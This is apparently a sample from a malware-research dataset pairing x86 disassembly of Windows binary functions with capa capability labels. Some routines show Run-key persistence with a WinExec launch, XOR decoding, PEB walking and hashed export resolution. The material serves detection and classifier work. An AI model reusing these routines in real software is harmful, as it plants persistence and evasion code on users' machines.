joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450394
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45053f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x450520
mov dl, 1
mov eax, dword [0x415ab0]
call fcn.00403720
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004044dc
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45050f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043e228
test al, al
je 0x450502
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x450550
lea eax, [ebp - 0x254]
call fcn.004093f4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x450502
xor eax, eax
push ebp
push 0x4504fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x450588
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4504e4
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040474c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4504e4
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040474c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450502
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x450405
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041958c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450546
lea eax, [ebp - 0x260]
call fcn.004044dc
ret

Function at 0x450e88
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x460bbc]
cmp byte [eax + 0xa5], 0
jne 0x450ef9
cmp dword [0x460bd4], 0
jne 0x450eba
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x450e44
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x460bd4], eax
cmp dword [0x460bd0], 0
jne 0x450ed5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x460bd0], eax
cmp dword [0x460bd8], 0
jne 0x450ef9
push esp
push 0
push 0
push 0x450de8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x460bd8], eax
pop edx
ret
Function at 0x45158c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x460bbc]
cmp dword [eax + 0x30], 0
je 0x451636
cmp dword [ebx + 0x94], 0
jne 0x451630
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45151c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x451630
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4515f6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x451630
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004179fc
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x451605
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x452194
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4521c9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004045cc
jmp 0x4521d6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404530
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4532f8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x453339
mov eax, esi
call fcn.00439a30
test al, al
je 0x453339
mov eax, dword [ebx + 0x84]
call fcn.00439758
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x453339
push 0
mov eax, dword [ebx + 0x84]
call fcn.00439758
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x45401c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x414c78]
call fcn.00404e94
xor eax, eax
push ebp
push 0x454160
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45ed44], 0
jne 0x45406f
mov ecx, dword [0x45ef24]
mov dl, 1
mov eax, dword [0x407734]
call fcn.0040be58
call fcn.00403ef0
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00403160
mov eax, ebx
call fcn.00404d18
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x454170
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00405ed4
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404d28
test eax, eax
jle 0x454107
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x454100
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404764
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.0040474c
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408578
test eax, eax
jne 0x454100
mov ebx, 0x15
jmp 0x45410c
mov ebx, 0x10
jmp 0x45410c
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x45ed44]
call fcn.00453f74
mov eax, dword [ebp - 8]
call fcn.00453f74
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405eec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454167
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00404500
lea eax, [ebp - 0x10]
mov edx, dword [0x414c78]
call fcn.00404f64
ret
Function at 0x10001010
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x100010c1
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x118]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001068
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
push 1
push 0
push 0x10010c2c
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x65726373
push eax
mov dword [ebp - 0x10], 0x6e706e65
mov dword [ebp - 0xc], 0x78652e67
mov word [ebp - 8], 0x65
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.100010d6
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000af00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000af2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000af2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1000d3b0
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [esp + 8]
cmp eax, 1
jne 0x1000d474
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x1002d34c], eax
call fcn.1000e580
test eax, eax
jne 0x1000d3d4
ret 0xc
mov ecx, dword [0x1002d34c]
xor edx, edx
mov eax, ecx
mov dl, ch
and eax, 0xff
mov dword [0x1002d358], edx
mov dword [0x1002d354], eax
shl eax, 8
add eax, edx
shr ecx, 0x10
mov dword [0x1002d350], eax
mov dword [0x1002d34c], ecx
call fcn.1000d720
test eax, eax
jne 0x1000d416
call fcn.1000e5c0
xor eax, eax
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100471d0], eax
call fcn.1000e420
mov ecx, dword [0x100471d0]
mov dword [0x1002d338], eax
test ecx, ecx
je 0x1000d465
test eax, eax
je 0x1000d465
call fcn.1004fd34
call fcn.1000e410
call fcn.1004fd34
call fcn.1000db70
call fcn.1000d5c0
mov eax, dword [0x1002d334]
inc eax
mov dword [0x1002d334], eax
mov eax, 1
ret 0xc
call fcn.1000d780
call fcn.1000e5c0
xor eax, eax
ret 0xc
test eax, eax
jne 0x1000d4b4
mov eax, dword [0x1002d334]
test eax, eax
jle 0x1000d4af
mov ecx, eax
mov eax, dword [0x1002d384]
dec ecx
test eax, eax
mov dword [0x1002d334], ecx
jne 0x1000d498
call fcn.1000d610
call fcn.1000db10
call fcn.1000d780
call fcn.1000e5c0
mov eax, 1
ret 0xc
xor eax, eax
ret 0xc
cmp eax, 3
jne 0x1000d4c3
push 0
call fcn.1000d850
add esp, 4
mov eax, 1
ret 0xc

Function at 0x1000d620
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
call fcn.1000d6e0
mov eax, dword [0x1002d388]
mov ebp, dword [esp + 0x10]
cmp eax, 1
jne 0x1000d644
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x1002d384], 1
mov byte [0x1002d380], bl
jne 0x1000d69e
mov ecx, dword [0x100471c8]
test ecx, ecx
je 0x1000d68c
mov esi, dword [0x100471c4]
sub esi, 4
cmp esi, ecx
jb 0x1000d68c
mov eax, dword [esi]
test eax, eax
je 0x1000d685
call eax
mov ecx, dword [0x100471c8]
sub esi, 4
cmp esi, ecx
jae 0x1000d677
push 0x1001501c
push 0x10015014
call fcn.1000d700
add esp, 8
push 0x10015024
push 0x10015020
call fcn.1000d700
add esp, 8
test ebx, ebx
je 0x1000d6bd
call fcn.1000d6f0
pop esi
pop ebp
pop ebx
ret
push ebp
mov dword [0x1002d388], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000d720
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
call fcn.1000e820
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x1001695c], eax
je 0x1000d778
push 0x74
push 1
call fcn.1000ea50
mov esi, eax
add esp, 8
test esi, esi
je 0x1000d778
mov eax, dword [0x1001695c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x1000d778
push esi
call fcn.1000d7b0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x1004a26e
Capabilities:
Encode data using xor

Disassembly:
call 0x1004a1e7
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1004a217
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1004a233
xor edx, 0
jmp 0x1004a23e
xor edx, edx
jmp 0x1004a255
jmp 0x1004a261
xor eax, eax
push 0x8427d7c0
call 0x1004a26e
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1004a2aa
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1004a283
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1004a2c1
add eax, 0
jno 0x1004a2c6
add esi, 0
ret 0x10

Function at 0x1004b02f
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1004b051
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1004b1f3
cmp edi, dword [ebp + 0x10]
jb 0x1004b1f3
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1004ab1b
inc edi
jmp 0x1004b0da
jmp 0x1004b0e7
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1004ab1b
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1004ab1b
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1004b13b
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1004b11f
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1004b169
add dword [eax], 0x39
jle 0x1004b145
sub al, 0xf5
mov ch, al
call fcn.1004b17e
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x1004ce56
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1004ce6c
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1004ce7d
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1004cebe
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1004f22a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1004f173
add ebx, 0
push ecx
call 0x1004f188
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x730160da
sub ebx, dword [0x73035919]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x73035909
call fcn.1004ac52
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1004a160
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1004f2e6
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1004f2e6
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1004f29d
mov eax, 1
lock xchg dword [0x73035915], eax
push 0x3dd1fc71
call 0x1004f22a
push esi
add esp, 8
cmp eax, 0
jne 0x1004f213
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1004f239
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1004f24e
cmp ecx, edx
cmp eax, 0
je 0x1004f273
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1004f25d
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1004f28c
dec eax
loope 0x1004f28f
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x73035915], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1004f2c3
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1004f2d8
jmp 0x1004f2e3
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1004f1d1
Function at 0x1005634b
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10056621
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x7302258d
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x73019553
push 0xffffffffffffffff
call fcn.1004d54b
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100563b5
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100563cd
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x10056615
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100565e9
Function at 0x10065e1b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10065e3d
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10065e3d
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10065e3d
ret
cmp word [ebx + 4], 0x14c
jne 0x10065e3d
test word [ebx + 0x16], 2
je 0x10065e3d
test word [ebx + 0x16], 0x100
je 0x10065e3d
cmp word [ebx + 0x18], 0x10b
jne 0x10065e3d
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10065e3d
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10065ec9
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10065e5d
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1004cda8
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10065e3d
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10065ec9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10065e3d
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10065e3d
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10065e3d
ret
cmp word [ebx + 4], 0x14c
jne 0x10065e3d
test word [ebx + 0x16], 2
je 0x10065e3d
test word [ebx + 0x16], 0x100
je 0x10065e3d
cmp word [ebx + 0x18], 0x10b
jne 0x10065e3d
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10065e3d
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10065ec9
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10065e5d
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1004cda8
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10065e3d
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10065f80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10065fd9
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10065f80
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10065f8f
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1046bc32
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10065fe0
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1004ce56
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006607f
add edi, 4
add eax, 2
dec ecx
jne 0x10065fc5
call 0x1006602c
loope 0x10066022
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1006607c
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1006608d
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10066040
cmp eax, ecx
ja 0x10066040
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100660ca
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100660c0
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1004d335
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]